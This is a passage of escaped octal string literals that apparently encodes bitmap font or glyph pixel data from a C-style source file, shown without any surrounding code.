\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\360\"\n  \"\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\303\\303\\303\\303\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\370\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\"\n  \"\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<\\70\\70\\70\"\n  \"\\70<<\\34\\36\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\201\\363\\303\\3\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\340\\374\\377\\37\\177\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\7\\0\\0\\0\"\n  \"\\3\\37\\177\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\37\\17\\16\\16\\16\\16\\16\\16\\16\\16\\17\\77\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\36\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\36\\30\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\203\\363\\303\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\37\\177\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\7\\0\\0\\0\\3\\37\\177\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\"\n  \"\\377\\37\\17\\16\\16\\16\\16\\16\\16\\16\\16\\17\\77\\377\\376\\370\\300\\0\\0\\0\\36\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\37\\37\\36\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14\\16\\7\\7\\3\\3\\301\\201\\3\\7\\7\\16\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\377\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\177\\17\\1\\0\\0\"\n  \"\\7\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\77\\37\\34\\34\\34\\34\\34\\34\\34\\35\\37\\77\\377\\374\\360\"\n  \"\\200\\0\\0\\0<\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\77<\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\1\\0\\0\\0\\301\\3\"\n  \"\\7\\17\\16\\16\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\177\\17\\1\\0\\0\\7\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\"\n  \"\\377\\77\\37\\34\\34\\34\\34\\34\\34\\34\\34\\37\\177\\377\\374\\340\\200\\0\\0\\0<\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\17\\77\\77<\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\0\\300\\200\\0\\3\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\360\\376\\177\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\37\\3\\0\\0\"\n  \"\\3\\37\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\177\\37\\34\\34\\34\\34\\34\\34\\34\\34\\37\\77\\377\\376\\360\"\n  \"\\200\\0\\0\\0\\70\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\77>\\60\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\70\\360\\260\"\n  \"\\70\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\377\\376\\360\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\177\\17\\1\\0\\0\\7\\77\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\"\n  \"\\377\\77\\37\\34\\34\\34\\34\\34\\34\\34\\35\\37\\177\\377\\374\\340\\200\\0\\0\\0<\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\17\\77\\77< \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\360\\376\\177\\17\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\300\\374\\377\\77\\3\\0\\0\\0\\377\"\n  \"\\377\\377\\377ppppppp\\0\\0\\200\\360\\376\\377\\37\\35\\34\\34\\34\\34\\34\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\77\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\17\\37>\"\n  \"\\34\\30\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\"\n  \"\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\36\\36<\\70\\270\"\n  \"\\370\\370\\70<\\34\\36\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\60ppcccw\\77>\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\301\\303\\303\\303\\307\\307\\317\\316\\304\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppp\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\304\\316\\316\\307\\307\"\n  \"\\307\\303\\303\\301\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\304\\316\\316\\307\\303\\303\\301\\301\\303\\307\\307\\316\\314\\304\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppp\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\303\\307\\307\\307\\303\\300\\300\\300\"\n  \"\\300\\303\\307\\307\\307\\303\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\341\\341\\341\\343\\343\\343\\347\\347\\342\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\34\\37\\37\\37\\37\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\316\\316\\317\\307\"\n  \"\\307\\303\\303\\303\\301\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\"\n  \"\\77\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\304\\316\\316\\307\\303\\303\\301\\301\\303\\303\\307\\317\\316\\304\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\303\\307\\307\\307\\303\\300\\300\\300\"\n  \"\\300\\303\\307\\307\\307\\303\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\"\n  \"\\77\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\77\\376\\374\\370\\340\\0\\0\\0pp\\377\\377\\377\\377ppppp\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\377\\377\"\n  \"\\77\\7\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\302\\303\\207\\3\\1\\0\\0\\1\\3\"\n  \"\\3\\7\\17\\16\\16\\7\\307\\303\\301\\300\\0\\0\\0\\377\\377\\377\\377\\77\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\3\\17\\37\\177\\374\\360\\300\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\376\\370\\340\\377\\377\\377\\377\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\3\\17\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\307\\307\\307\\317\\316\\314\\204\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\"\n  \"\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\214\\316\\316\\307\"\n  \"\\307\\307\\303\\203\\203\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\216\\207\\207\\303\\301\\301\\301\\303\\307\\217\\216\\14\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\"\n  \"\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\201\\200\\200\\300\\300\\301\"\n  \"\\303\\303\\307\\207\\207\\7\\3\\1\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\203\\203\\201\\300\\300\\300\\300\\301\\303\\203\\203\\1\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \"\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\"\n  \"\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340@\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\217\\337\\376\\374\\370\\374\\376\\337\\207\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\"\n  \"<>\\37\\17\\7\\3\\1\\0\\1\\3\\7\\17\\37><\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\200\\340\\340\\340@\\0\\0\\300\\360\\370\"\n  \"\\374>\\37\\17\\7\\7\\3\\3\\3\\7\\307\\357\\377~\\377\\377\\363\\300\\0\\0\\374\\377\\377\\377\\1\\0\\0\\0\\0\\0\\300\\360\"\n  \"\\374\\177\\37\\7\\1\\0\\1\\377\\377\\377\\374\\0\\17\\377\\377\\377\\340\\200\\300\\360\\374\\77\\17\\7\\1\\0\\0\\0\\0\\0\\340\\377\"\n  \"\\377\\377\\17\\0\\0\\200\\343\\377\\377\\77\\77\\77xxppppx<>\\37\\17\\7\\3\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\0\\0\\1\\1\\1\\3\\3\"\n  \"\\3\\7\\7\\0\\0\\0\\340\\340\\340\\340\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\177\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\37\\0\\0\\0\\0\\1\\3\\7\\17\\17\\16\\36\\34\\34\\34\"\n  \"\\34\\36\\36\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\340\\340\\340\\0\\0\\0\\7\\7\\3\\3\\3\\1\\1\\1\\0\\0\\340\\340\\340\\340\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\177\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\37\\0\\0\\0\\0\\1\\3\\7\\17\\17\\16\\36\\34\\34\\34\\34\\36\\36\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\16\\16\\7\\3\\3\\1\\1\"\n  \"\\1\\3\\7\\17\\16\\4\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\77\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\"\n  \"\\70<<\\36\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\301\\3\\3\\3\\1\\0\\0\\0\\0\\0\\1\\3\\3\\3\\301\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\77\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\\70<<\\36\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\340\\340\\340\\340\\200\\0\\0\\7\\7\\3\\3\"\n  \"\\3\\1\\1\\1\\0\\0\\300\\340\\340\\340 \\0\\0\\0\\3\\7\\37\\177\\376\\370\\340\\200\\0\\0\\0\\0\\200\\340\\370\\377\\77\\17\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\376\\370\\370\\376\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377ppppppppp\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\3\\377\\377\\377\\374\\0\\0\\0\\0\\377\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\36\\37\\17\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360ppp\"\n  \"\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\\377\\70\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\34\\34\\34\\34\\36\\77\\77{\\363\\341\\300\\200\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\377\\377\\377~\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\30<<\\70\"\n  